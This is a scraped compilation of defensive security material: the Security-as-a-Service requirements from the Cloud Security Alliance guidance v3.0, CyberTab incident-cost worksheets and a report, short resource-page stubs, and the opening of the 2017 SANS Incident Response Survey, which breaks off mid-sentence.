interfaces through standardized security interfaces such as SCAP (NIST), CYBEX (ITU -T), or RID & IODEF (IETF). 14.6 Requ irements 14.6.1 I dentity as a Service Requirements  Providers of IaaS must provide cloud customers provisioning/de -provisioning of accounts (of both cloud & on - premise applications and resources).  Providers of IaaS must provide cloud customers authentication (multiple forms and factors).  Providers of IaaS must provide cloud customers identity life cycle management.  Providers of IaaS must provide cloud customers directory services.  Providers of IaaS must provide clou d customers directory synchronization (multi -lateral as required).  Providers of IaaS must provide cloud customers federated SSO.  Providers of IaaS must provide cloud customers web SSO (granular access enforcement & session management - different from feder ated SSO). 146 SLA-Service Level Agreement SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 170  Providers of IaaS must provide privileged session monitoring.  Providers of IaaS must provide granular access management.  Providers of IaaS must provide tamper -proof storage of audit records (including an option for non -repudiation).  Providers of IaaS must provide policy management (incl. authorization management, role management, compliance policy management).  Providers of IaaS must provide cloud customers authorization (both user and application/system).  Providers of IaaS must provide cloud c ustomers authorization token management and provisioning.  Providers of IaaS must provide cloud customers user profile and entitlement management (both user and application/system).  Providers of IaaS must provide cloud customers support for policy and regulatory compliance monitoring and/or reporting.  Providers of IaaS must provide cloud customers federated provisioning of cloud applications.  Providers of IaaS must provide privileged user and passwo rd management (including administrative, shared, system and application accounts).  Providers of IaaS must provide cloud customers Role -Based Access Control (RBAC) (where supported by the underlying system/service).  Providers of IaaS must provide cloud cus tomers optionally support DLP integration.  Providers of IaaS must provide cloud customers optionally support granular activity auditing broken down by individual.  Providers of IaaS must provide cloud customers segregation of duties based on identity entitl ement.  Providers of IaaS must provide cloud customers compliance -centric reporting.  Providers of IaaS must provide cloud customers centralized policy management.  Providers of IaaS must provide cloud customers usable management interfaces.  Providers of IaaS must provide cloud customers unified access control & audit. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 171  Providers of IaaS must provide cloud customers Interoperability and heterogeneity among various providers.  Providers of IaaS must provide cloud customers scalability. 14.6.2 DLP SecaaS Req uirements  Providers of DLP must provide cloud customers with data labeling and classification.  Providers of DLP must provide cloud customers with identification of Sensitive Data.  Providers of DLP must provide cloud customers with predefined policies for m ajor regulatory statues.  Providers of DLP must provide cloud customers with context detection heuristics.  Providers of DLP must provide cloud customers with structured data matching (data -at-rest).  Providers of DLP must provide cloud customers with SQL regular expression detection.  Providers of DLP must provide cloud customers with traffic spanning (data -in-motion) detection.  Providers of DLP must provide cloud customers with Real Time User Awareness.  Providers of DLP must provide cloud customers with secur ity level assignment.  Providers of DLP must provide cloud customers with custom attribute lookup.  Providers of DLP must provide cloud customers with automated incident response.  Providers of DLP must provide cloud customers with signing of data.  Providers of DLP must provide cloud customers with cryptographic data protection and access control.  Providers of DLP must provide cloud customers with machine -readable policy language. 14.6.3 Web Services SecaaS Requirements  Providers of Web Services SecaaS must provide must provide cloud customers with web monitoring and filtering.  Providers of Web Services SecaaS must provide must provide cloud customers with Malware, Spyware, and Bot Network analyzer and blocking.  Providers of Web Services SecaaS must provide must provide cloud customers with phishing site blocker.  Providers of Web Services SecaaS must provide must provide cloud customers with instant messaging scanning.  Providers of Web Services SecaaS must provide must provide cloud customers with em ail security. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 172  Providers of Web Services SecaaS must provide must provide cloud customers with bandwidth management / traffic control.  Providers of Web Services SecaaS must provide must provide cloud customers with Data Loss Prevention.  Providers of Web Ser vices SecaaS must provide must provide cloud customers with fraud prevention.  Providers of Web Services SecaaS must provide must provide cloud customers with Web Access Control.  Providers of Web Services SecaaS must provide must provide cloud customers with backup.  Providers of Web Services SecaaS must provide must provide cloud customers with SSL (decryption / hand off).  Providers of Web Services SecaaS must provide must provide cloud customers with usage polic y enforcement.  Providers of Web Services SecaaS must provide must provide cloud customers with vulnerability management.  Providers of Web Services SecaaS must provide must provide cloud customers with web intelligence reporting. 14.6.4 Email SecaaS Requ irements  Providers of Email Security SecaaS must provide cloud customers with accurate filtering to block spam and phishing.  Providers of Email Security SecaaS must provide cloud customers with deep protection against viruses and spyware before they enter the enterprise perimeter.  Providers of Email Security SecaaS must provide cloud customers with flexible policies to define granular mail flow and encryption.  Providers of Email Security SecaaS must provide cloud customers with rich, interactive reports and correlate real- time reporting.  Providers of Email Security SecaaS must provide cloud customers with deep content scanning to enforce policies.  Providers of Email Security SecaaS must provide cloud customers with the option to encrypt some / all emails based on policy.  Providers of Email Security SecaaS must provide cloud customers with integration capability to various email server solutions. 14.6.5 Security Assessment SecaaS Requirements  Providers of Security Assessment SecaaS must provide cloud customers with detailed governance processes and metrics (Implementers should define and document and process by which policies are set and decision making is executed). SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 173  Providers of Security Assessm ents and Governance offerings should implement an automated solution for notifying members of their immediate supply chain in the event of breach or security incident.  Providers of Security Assessment SecaaS must provide cloud customers with proper risk ma nagement (Implementers should define and document and process for ensuring that important business processes and behaviors remain within the tolerances associated with those policies and decisions).  Providers of Security Assessment SecaaS must provide clou d customers with details of compliance (Implementers should define and document process -of-adherence to policies and decisions).  Providers of Security Assessment SecaaS must provide cloud customers with policies that can be derived from internal directives , procedures, and requirements or external laws, regulations, standards and agreements.  Providers of Security Assessment SecaaS must provide cloud customers with technical compliance audits (automated auditing of configuration settings in devices, operatin g systems, databases, and applications).  Providers of Security Assessment SecaaS must provide cloud customers with application security assessments (automated auditing of custom applications).  Providers of an assessment and governance service offering must provide cloud customers with vulnerability assessments— automated probing of network devices, computers, and applications for known vulnerabilities and configuration issues.  Providers of Security Assessment SecaaS must provide cloud customers with penetrat ion testing (exploitation of vulnerabilities and configuration issues to gain access to an environment, network or computer, typically requiring manual assistance)  Providers of Security Assessment SecaaS must provide cloud customers with a security rating. 14.6.6 Intrusion Detection SecaaS Requirements  Providers of Intrusion Detection SecaaS must provide cloud customers with identification of intrusions and policy violations.  Providers of Intrusion Detection SecaaS must provide cloud customers with autom atic or manual remediation actions.  Providers of Intrusion Detection SecaaS must provide cloud customers with Coverage for Workloads, Virtualization Layer (VMM/Hypervisor) Management Plane  Providers of Intrusion Detection SecaaS must provide cloud customer s with deep packet inspection using one or more of the following techniques: statistical, behavioral, signature, heuristic.  Providers of Intrusion Detection SecaaS must provide cloud customers with system call monitoring.  Providers of Intrusion Detection S ecaaS must provide cloud customers with system/application log inspection. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 174  Providers of Intrusion Detection SecaaS must provide cloud customers with integrity monitoring OS (files, registry, ports, processes, installed software, etc.)  Providers of Intrusion Detection SecaaS must provide cloud customers with integrity monitoring VMM/Hypervisor.  Providers of Intrusion Detection SecaaS must provide cloud customers with VM Image Repository Monitoring. 14.6.7 SIEM SecaaS Requirements  Providers of SIEM SecaaS must provide cloud customers with real time log /event collection, de- duplication, normalization, aggregation and visualization.  Providers of SIEM SecaaS must provide cloud customers with forensics support.  Providers of SIEM SecaaS must provide clo ud customers with compliance reporting and support.  Providers of SIEM SecaaS must provide cloud customers with IR support.  Providers of SIEM SecaaS must provide cloud customers with anomaly detection not limited to email.  Providers of SIEM SecaaS must pro vide cloud customers with detailed reporting.  Providers of SIEM SecaaS must provide cloud customers with flexible data retention periods and flexible policy management 14.6.8 Encryption SecaaS Requirements  Providers of Encryption SecaaS must provide clo ud customers with protection of data in transit.  Providers of Encryption SecaaS must provide cloud customers with protection of data at rest.  Providers of Encryption SecaaS must provide cloud customers with key and policy management.  Providers of Encryptio n SecaaS must provide cloud customers with protection of cached data. 14.6.9 Business Continuity and Disaster Recovery Requirements  Providers of Business Continuity & Disaster Recovery SecaaS must provide cloud customers with flexible infrastructure.  Providers of Business Continuity & Disaster Recovery SecaaS must provide cloud customers with secure backup.  Providers of Business Continuity & Disaster Recovery SecaaS must provide cloud customers with monitored operations.  Providers of Business Continuit y & Disaster Recovery SecaaS must provide cloud customers with third party service connectivity. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 175  Providers of Business Continuity & Disaster Recovery SecaaS must provide cloud customers with replicated infrastructure component.  Providers of Business Continuity & Disaster Recovery SecaaS must provide cloud customers with replicated data (core / critical systems).  Providers of Business Continuity & Disaster Recovery SecaaS must provide cloud customers with data and/or application recovery.  Prov iders of Business Continuity & Disaster Recovery SecaaS must provide cloud customers with alternate sites of operation.  Providers of Business Continuity & Disaster Recovery SecaaS must provide cloud customers with tested and measured processes and operatio ns to ensure operational resiliency.  Providers of Business Continuity & Disaster Recovery SecaaS must provide cloud customers with geographically distributed data centers / infrastructure.  Providers of Business Continuity & Disaster Recovery SecaaS must p rovide cloud customers with Network survivability. 14.6.10 Network Security SecaaS Requirements  Providers of Network Security SecaaS must provide cloud customers with details of data threats.  Providers of Network Security SecaaS must provide cloud custom ers with details of access control threats.  Providers of Network Security SecaaS must provide cloud customers with access and authentication controls.  Providers of Network Security SecaaS must provide cloud customers with security gateways (firewalls, WAF, SOA/API).  Providers of Network Security SecaaS must provide cloud customers with security products (IDS/IPS, Server Tier Firewall, File Integrity Monitoring, DLP, Anti- Virus, Anti -Spam).  Providers of Network Security SecaaS must provide cloud customers wi th security monitoring and incident response.  Providers of Network Security SecaaS must provide cloud customers with DoS protection/mitigation.  Providers of Network Security SecaaS must provide cloud customers with Secure “base services” like DNSSEC, NTP, OAuth, SNMP, management network segmentation, and security.  Providers of Network Security SecaaS must provide cloud customers with traffic / netflow monitoring.  Providers of Network Security SecaaS must provide cloud customers integration with Hypervisor l ayer. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 176 REFERENCES [1] Security and Economic Benefits of Standardization for Security as a Service. September 2011 Proceedings. United Nations ITU -T. [2] Gartner. Gartner Says Security Delivered as a Cloud -Based Service Will More Than Triple in Many Se gments by 2013. July 15, 2008. http://www.gartner.com/it/page.jsp?id=722307 --- ## Source: https://montance.com/questions.php?id=49 [![pdf](content/images/icons/pdf.svg) csaguide v3.0.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgSVREMjFRMjF4Qms/view?usp=sharing) CSAguide V3.0 Cloud Security Alliance guidance on critical areas of focus for cloud computing. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=48 [![xlsx](content/images/icons/xlsx.svg) Incident Cost.xlsx](https://docs.google.com/spreadsheets/d/0B9l-G6EuipZgOTdSSEpfRFZZcWs/edit?usp=sharing) Incident Cost Spreadsheet model for estimating the financial cost of security incidents. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What are the main cost categories? A: SOC Staff, Non-SOC Staff, Outsource Staff, Expenses, Losses. * Q: What functional areas are tracked for SOC Staff? A: Command Center, NSM, IR, Forensics, Threat Intel, Self-Assessment. * Q: What expenses are tracked? A: Travel, Material, Hardware, Software. * Q: What 'Losses' are calculated? A: Lost customers, Lost sales, Stock Price Decrease. * Q: What is included in 'Increased Cost of Operation'? A: Additional borrowing costs and increased cyber insurance. * Q: What is 'Credit Monitoring' cost based on? A: Annual cost per person affected and years to monitor. * Q: What is the 'Daily Operational Rate'? A: A calculated rate for alternative cost estimation. * Q: What non-SOC staff are tracked? A: Legal, PR, HR, IT Operations. * Q: Is the 'Estimated Total' automatically calculated? A: Yes, based on the input fields. * Q: What is the purpose of this spreadsheet? A: To estimate the total financial impact of a security incident. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgX0tVekVJTkhiR1k/view?usp=sharing **[Skipped Google Drive file: Unsupported format from https://drive.google.com/file/d/0B9l-G6EuipZgX0tVekVJTkhiR1k/view?usp=sharing]** --- ## Source: https://montance.com/questions.php?id=47 [![txt](content/images/icons/txt.svg) Damien Paul Books.txt](https://drive.google.com/file/d/0B9l-G6EuipZgX0tVekVJTkhiR1k/view?usp=sharing) Damien Paul Books Resource covering General titled 'Damien Paul Books'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgbWZka0xZcE4xcmc/view?usp=sharing **[Skipped Google Drive file: Unsupported format from https://drive.google.com/file/d/0B9l-G6EuipZgbWZka0xZcE4xcmc/view?usp=sharing]** --- ## Source: https://montance.com/questions.php?id=46 [![txt](content/images/icons/txt.svg) Damien Paul Links.txt](https://drive.google.com/file/d/0B9l-G6EuipZgbWZka0xZcE4xcmc/view?usp=sharing) Damien Paul Links Resource covering General titled 'Damien Paul Links'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgOHZRQ3lzMUhHWWM/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgOHZRQ3lzMUhHWWM/view?usp=sharing]** CyberTab worksheet Use this document to help gather the information you will need to make the best use of CyberTab What occurred during the attack? Denial of service Malware infection Misuse of systems by employees or partners Intrusion, but no theft of data Intrusion leading to theft of personal data Intrusion leading to theft of intellectual property How large is your company ? Number of employees : Annual revenue : Number of customers : Attack details Record the following information to better understand the shape and scope of the attack SOURCE: Ask the incident -response team or information -security department Duration How long were company systems under attack? Discovery Who first discovered the attack? Attacker Who carried out the attack? Breach type What attacker tactics and technologies were involved? Size and scope  List the t ype of systems and number of servers and endpoints affected:  For denial -of-service attacks, what was the peak b andwidth in gigabits per second :  What t ypes of company da ta were affected :  What t ypes of personal account data were affected : (Continued )  Intellectual property o Estimated value of lost IP at sale: o Percentage likelihood the lost IP will be used against you in the marketplace :\  Number of entities affected o Employees: o Retail customers: o Business customers: o Business partners: Time frame Month and year when the attack began ? Cost details Record the following costs as precisely as possible; you may enter low and high estimates into CyberTab Incident -response expenses SOURCE: Ask the information -security, enterprise -risk or IT -risk function Technology products purchased : Third -party services engaged : Technology s taff o Number of employees involved: o Employee cost per hour: o Hours spent responding per employee: Business expenses SOURCE: Ask the incident -response team C-Suite and executives o Number of employees involved: o Employee cost per hour: o Hours spent responding per employee: Customer service o Additional customer service inquiries resulting from the attack : o Cost per customer service inquiry: o Credit monitoring costs: Legal o Hours of legal services resulting from attack: o Legal services cost per hour: o Legal settlement costs: (Continued ) Other business expenses o Crisis PR expenses: o One-time insurance -related expenses: o SLA/Business partner expenses: o Compliance -related federal, state, and international notification and fines: o Compliance -related industry noti fication and fines: Lost business SOURCE: Ask the enterprise -risk or IT -risk function Lost sales o Revenue lost due to downtime or disruption: Customer Loss o Number of lost customers: o Number of customers not acquired due to reputational damage: o Lifetime value of customer: Customer retention o Number of customers requiring credits/refunds: o Average credit / refund value: Response quality How satisfied are you with your response to the incident ? Post -incident assessment How severe was the attack for your organisation ? SOURCE: Ask the information -security function Please describe any tools , resources or controls that, if they had been in place, would have prevented or quickly stopped this attack : Estimated cost of the tools, resources or controls that would have prevented or quickly stopped this attack : Recurring cybersecurity spending  Technology products:  Third -party services:  Information security staff spending:  Employee education and awareness:  Cyber insurance and premiums: --- ## Source: https://montance.com/questions.php?id=45 [![pdf](content/images/icons/pdf.svg) CyberTab worksheet.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgOHZRQ3lzMUhHWWM/view?usp=sharing) Cybertab Worksheet Resource covering Reporting titled 'Cybertab Worksheet'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgWXZWeXc3M1BUa00/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgWXZWeXc3M1BUa00/view?usp=sharing]** LOW RANGE HIGH LOW RANGE HIGH Attack type: Duration:Intrusion, but no theft o f data 9 monthsSize:30 servers and 5 endpo ints affected Incident Response [$738k - $2.62m] Internal & External $7k - $1.5m Tech Staff $37.5k - $1.12m Business Costs [$587k - $39.1m] C-suite & Executive $30k - $5k Customer Service $25k - $25m Legal $185k - $2.5m Other Business $122k - $11.1m Lost Business [$1k - $1.11b] Lost Sales $1k - $1m Customer Loss $0.00 - $1.1b Customer Retention $0.00 - $10m Total $1.42m - $1.15b Technology products $1k - $1m Third-party services $1k - $2m Information security sta ff spending $20k - $2k Employee education an d awareness $5k - $1k Cyber insurance and p remiums $0.00 - $1k Total $225k - $3.4m tallying the bill from cy bercrime Your TabManufacturing That's $158k - $128m a month or 0% - 48% of your annual revenue $3.4m $225k Your security spending is 0% - 0% of your an nual revenue YOUR ATTACK COST S ARE 633% - 33904%Your Attack Costs Your Security Spending$1.15b $1.42mINCIDENT RESPONSE BUSINESS EXPENSES LOST BUSINESS Developed by$ $ Page 1TOTAL SECURITY SPENDING 2014 The Economist In telligence Unit Ltd. All rights reserved. Neither The Economist Intelligence Unit Ltd. n or its affiliates can acce pt any responsibility or liability for reliance by any person on this info rmation. RANGE Security Spending $225k - $3.4m Additional Measures $1k Total $325k - $3.5m Attack Costs $1.42m - $1.15b Prevention Costs $325k - $3.5m Your Tab $1.15b $1.1mYour Prevention Cost Your Return on Prevent ion$3.5m $325k Manufacturers are being aggressively targeted fo r valuable intellectual pr operty like customer lists and prod uct designs. Many such attacks specifically and ingeniously target individuals within a company and exploit human weakness—say, an inability to identify a fake resume— to install malware and b urrow into the network a nd company data stores. Half of atta cks resulting in IP theft a re the work of hackers a ffiliated with nation-states—most oft en China—and 21% inv olve company insiders, according to Verizon DBIR, 2011-13. Your prevention cost c omprises your existing security spending plus the cost of any additional tools, resour ces or controls that wo uld have quickly stopp ed or prevented the attack. Had your co mpany's annual inform ation-security budget b een at this level, it would have avo ided the attack costs d etailed on page 1 of th is report. Your total attack cost, minus the cost of preve nting the attack $328 $3.38For each dollar spent p reventing the attack, you would have savedPage 2tallying the bill from cy bercrime HIGH LOW $ $ ADDITIONAL PREVENTION MEASURESSECURITY SPENDING Your return on preventi on is the amount of mo ney your company wou ld have saved, had it invested in the tools, resources or controls that would have prevented the cyberatt ack. It enables a cost-b enefit analysis that can help you make a sound investm ent decision. Would the benefits of preventing this attack outweigh the co sts of sustaining it?Manufacturing LOW RANGE HIGH 2014 The Economist In telligence Unit Ltd. All rights reserved. Neither The Economist Intelligence Unit Ltd. n or its affiliates can acce pt any responsibility or liability for reliance by any person on this info rmation. --- ## Source: https://montance.com/questions.php?id=44 [![pdf](content/images/icons/pdf.svg) cybertab my report 06-26-2016.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgWXZWeXc3M1BUa00/view?usp=sharing) Cybertab My Report 06 26 2016 Report generated from the CyberTab tool. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgWVNDanZmbDhxZzA/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgWVNDanZmbDhxZzA/view?usp=sharing]** Interested in learning more about security? SANS Institute InfoSec Reading Room This paper is from the SANS Institute Reading Room site. Reposting is not permitted without express written permission. The Show Must Go On! The 2017 SANS Incident Response Survey Overall, the results of 2017 Incident Response survey were very promising. Organizations are building IR teams that suit their environments and their unique set of issues. Malware still looms as the root cause of a large majority of incidents; and IR teams still suffer from a shortage of skilled staff, lack of ownership and business silo issues. Read on to examine the results of the survey and guidelines and feedback to spur improvements.   Copyright SANS Institute Author Retains Full Rights ©2017 SANS™ InstituteA SANS Survey Written by Matt Bromiley June 2017 Sponsored by AlienVault, Anomali, Guidance Software, IBM Security, LogRhythm, and McAfeeThe Show Must Go On! The 2017 SANS Incident Response Survey The year 2016 brought unprecedented events that impacted the cyber security industry, including a myriad of events that raised issues with multiple nation-state attackers, a tumultuous election and numerous government investigations. Additionally, seemingly continuous leaks and data dumps brought new concerns about malware, privacy and government overreach to the surface. Despite the onslaught of troubling news, our incident response (IR) teams had to continue defending their organizations—even as the attackers’ skill level increased with each new tool dump. The year 2016 could’ve easily been the year that IR teams threw up their hands in frustration, but instead they persevered. That’s why SANS has settled on the theme “The Show Must Go On” for our 2017 Incident Response Survey. Survey results show that not only did our teams continue to defend, but they also improved. This year’s survey shows that IR teams are: • Detecting the attackers faster than before, with a drastic improvement in dwell time • Containing incidents more rapidly • Relying more on in-house detection and remediation mechanisms • Receiving budget increases to help support their operations Any one of these improvements is enough of a reason to celebrate; together, they show a different story. Combined with continuous consumption of threat intelligence and an appreciation for endpoint detection, IR may finally be seeing a pivotal industry shift. Our survey results show that, overall, organizations are building IR teams that suit their environments and their unique set of issues. Moreover, they provide effective response times to help protect the organization. Teams are growing in size, and budget finally seems to be slipping as the No. 1 hurdle to success. Again, the show must go on! However, this year’s survey also shows that despite noticeable improvements, we still have room to improve. Malware still looms as the root cause of a large majority of incidents. IR teams are still suffering from a shortage of skilled staff, and respondents still face lack of ownership and business silo issues that can delay effective containment and remediation. As much as IR teams are improving, there is still plenty of leeway for better business integration. Finally, organizations need to assess their IR teams more often and with more vigor to help the teams improve from within. Overall, the results of 2017 Incident Response survey were very promising and show that things are getting better in the right places. In the following pages, we examine the results of the survey in detail and offer guidelines and feedback on how our industry can continue to improve. The show must go on—but it is far from over. SANS ANALYST PROGRAM The Show Must Go On! The 2017 SANS Incident Response Survey 1Executive Summary responded to at least one incident in the past year of organizations now have at least one dedicated IR team memberreported a dwell time of less than 24 hours of organizations are reporting their security operations centers (SOCs) as mature or maturing in their ability to respondreported malware as the root cause of the incidents they investigatedKey Results 87% 50% 84% 68% 53% This Year’s Landscape SANS ANALYST PROGRAM 2Respondents to the 2017 SANS Incident Response Survey included organizations from diverse and global industries. Results showed healthy global growth, with double-digit representation in each continent, which is important to help teams build global IR support. Additionally, this year’s respondent base held a wide variety of roles, ranging from C-suite positions to analyst roles. Incident Response Around the World This year’s survey respondent base showed a diverse range of organizations. Over 35% of our respondents originated from a technology-based organization, specializing in either cyber security, telecom or other technology services. Consistent with previous years, the banking and finance industry had a strong representation in the top three industries. Table 1 provides the top 10 industries represented in the survey results. The Show Must Go On! The 2017 SANS Incident Response Survey Table 1. Top 10 Industries Represented Industry Cyber security Banking and financeTechnology Government ManufacturingTelecommunications/ISPEducationHealthcare Retail Utilities Percentage 17.3%13.7%12.3% 9.6%6.3%5.8%5.5%5.2% 3.8% 3.0% This Year’s Landscape (CONTINUED) SANS ANALYST PROGRAM 3The survey results also highlighted a shift in global presence from our respondents. Approximately 67% of our respondents indicated they had operations in the United States, down 3% from 2016.1 Organizations also showed an increase in operations in Europe and Asia, with single-digit reductions in South Pacific, Central/South America and the Middle East areas. While the survey does not inquire about the reason for the change in global operations, it is possible that organizations are aligning to favorable political conditions. Increased global presence may also be the result of recent mergers, acquisitions and consolidations. Figure 1 provides a snapshot of international operations in 2017. The shift in international operations is also supported by a new question introduced in this year’s survey, asking respondents for their primary headquarters location. The addition of this question allows us to measure how much international exposure our respondents maintain, given the corporate office location. Most of our respondents (59%) are primarily headquartered in the United States, with Europe and Asia rounding out the top three, at 20% and 8%, respectively. The Show Must Go On! The 2017 SANS Incident Response SurveyIn what countries or regions does your organization perform incident response activities? Select all that apply. 67% 18%14% 17%15%23% 38%30% Figure 1. International Operations in 2017TAKEAWAY The 2017 survey shows that even with U.S.-based corporate headquarters, incident responders are continuing to grow in global operations and experience. This will lead to diverse, skilled teams capable of providing comprehensive IR services. 1 “Incident Response Capabilities in 2016: The SANS 2016 Incident Response Survey, ” June 2016, www.sans.org/reading-room/whitepapers/analyst/incident-response-capabilities-2016-2016-incident-response-survey-37047 This Year’s Landscape (CONTINUED) SANS ANALYST PROGRAM 4Incident Response: Size Doesn’t Matter This year’s survey also saw the modification of a question that allows us to better represent the size of our respondent’s organizations. With the extra breakout of organizational size, we can better discern whether IR is largely a problem for small, medium or large organizations. Approximately 17% of our survey respondents had more than 50,000 employees, with about half of that number having more than 100,000 employees. Conversely, 39% of our respondents represent organizations with fewer than 1,000 employees. Figure 2 provides a breakdown of responding organization sizes. The strong representation of both small and midsize organizations solidifies the message that all IR teams are hearing and feeling: Attackers are not picky, and everyone is a target. Modern threats are no longer limited to massive organizations with significant intellectual property or financial transactions. As commodity threats such as ransomware continue to rise, organizations of all sizes are finding that IR teams, no matter how small or large, are a critical part of the business. The Show Must Go On! The 2017 SANS Incident Response SurveyHow large is your organization’s workforce, including both employee and contractor staff? 10,001–15,0001,001–2,000Fewer than 100 15,001–50,0002,001–5,000101–1,000 50,001–100,000 More than 100,0005,001–10,000 Figure 2. Respondents’ Organization Sizes25% 20%15%10% 5%0%Attackers are not picky, and everyone is a target. This Year’s Landscape (CONTINUED) SANS ANALYST PROGRAM 5Incident History For some organizations, increased international exposure is not always a benefit. For some IR teams, it may mean improved capabilities and an addition of skilled members to the team. In other cases, organizations are expanding, both horizontally and vertically, faster than the information security department can keep up. An increased operational burden can mean a decrease in incident reporting and response, without a complementary decrease in incident occurrence. In both 2016 and 2017, 87% of our respondents reported responding to at least one incident within the past 12 months. Of these groups, 21% in 2016 and 20% in 2017 reported responding to at least 100 incidents. So, organizations are improving slightly. However, it is concerning that approximately 9% of respondents were unsure whether any incidents had occurred. Figure 3 provides the breakdown of the number of incidents survey respondents faced. Teams are still responding to many incidents. But that may demonstrate IR maturity, as teams are able to implement effective detection mechanisms and/or have the resources to respond to more incidents. These responses may also indicate better incident classification by the information security team. To effectively determine whether an organization is experiencing both an increase in incidents AND an increase in breaches, organizations need to have the metrics available to determine how many incidents subsequently led to breaches. The Show Must Go On! The 2017 SANS Incident Response SurveyTAKEAWAY Organizations are reporting an increase in the number of incidents detected, however a decrease in the number of incidents resulting in actual data, system or device breach. This is fantastic! This shows that not only are IR teams reporting more incidents, but they are also able to detect them early enough to prevent a significant breach from occurring. Over the past 12 months, how many incidents has your organization responded to? Figure 3. Incidents Requiring Response30% 20% 10% 0% Unknown whether any incidents occurredNone 1 2–10 11–25 26–50 51–100 101–500 More than 500 This Year’s Landscape (CONTINUED) SANS ANALYST PROGRAM 6 The Show Must Go On! The 2017 SANS Incident Response SurveyWhen compared against organization size, our survey results indicate that, as expected, larger organizations respond to more incidents than smaller organizations. This can likely be attributed to a larger exposure surface via more employees and business support needs. However, our respondent distribution continues to show that organizations of all sizes can suffer a varying number of incidents. Figure 4 provides a comparison of organization size and the number of incidents they respond to. Our 2017 survey respondents reported that 29% of incidents did not result in an actual breach of information, systems or devices. Only 10% of respondents said that more than 25 incidents resulted in an actual breach, down from 39% in last year’s survey! Interestingly, organization size did not appear to have any significant impact. Figure 5 provides a breakdown of incident-to-breach conversions from our 2017 respondent base.Number of Incidents Responded to by Organization Size Unknown whether any incidents occurredNone 1 2–10 11–25 26–50 51–100 101–500 More than 50010% 8% 6% 4%2%0% More than 100,000 50,001–100,000 15,001–50,000 10,001–15,000 5,001–10,000 2,001–5,000 1,001–2,000 101–1,000 Fewer than 100 Figure 4. Organization Size and Number of Incidents Responded to This Year’s Landscape (CONTINUED) SANS ANALYST PROGRAM 7The information presented in Figures 3 and 5 is promising for multiple reasons. It illustrates that IR teams are maturing, accepting the simple fact that attacks are a part of life. They recognize that it is how well we detect and contain those attacks that’s most important. With that new recognition, organizations are comfortable reporting a higher number of incidents. This comfort level likely stems from the confidence that the IR team can handle the higher number of incidents and prevent actual data breaches. However, improved response statistics do not mean that teams can rest on their laurels. Attackers often only need one incident to convert to a breach, and they can do so very quickly. IR teams should interpret these results as confirming that their investments in detecting incidents are paying off by preventing breaches and that their organizations may be experiencing increased security. Additionally, such results can also help the information security department evaluate whether investments in certain areas are yielding a greater return on investment than others and assist in future budget prioritization. The Show Must Go On! The 2017 SANS Incident Response SurveyHow many of these incidents resulted in actual breaches of information, systems or devices? Figure 5. Incidents Versus Breaches Unknown whether any incidents occurred None 1 2–10 11–25 26–50 51–100 101–500 101–500 Are Things Getting Better? SANS ANALYST PROGRAM 8One question we are always trying to answer at SANS, especially given our extensive offering of classes and community events, is whether things are improving. Previous surveys have tackled this question by looking at how quickly organizations have responded to and remediated incidents. This question, while seemingly straightforward, mistakenly assumes that each time frame is singular. This year, the survey took a different route. Containing the Attacker In previous years, the IR survey has looked at two key time frames: time from compromise to detection (the “dwell time”) and the time from 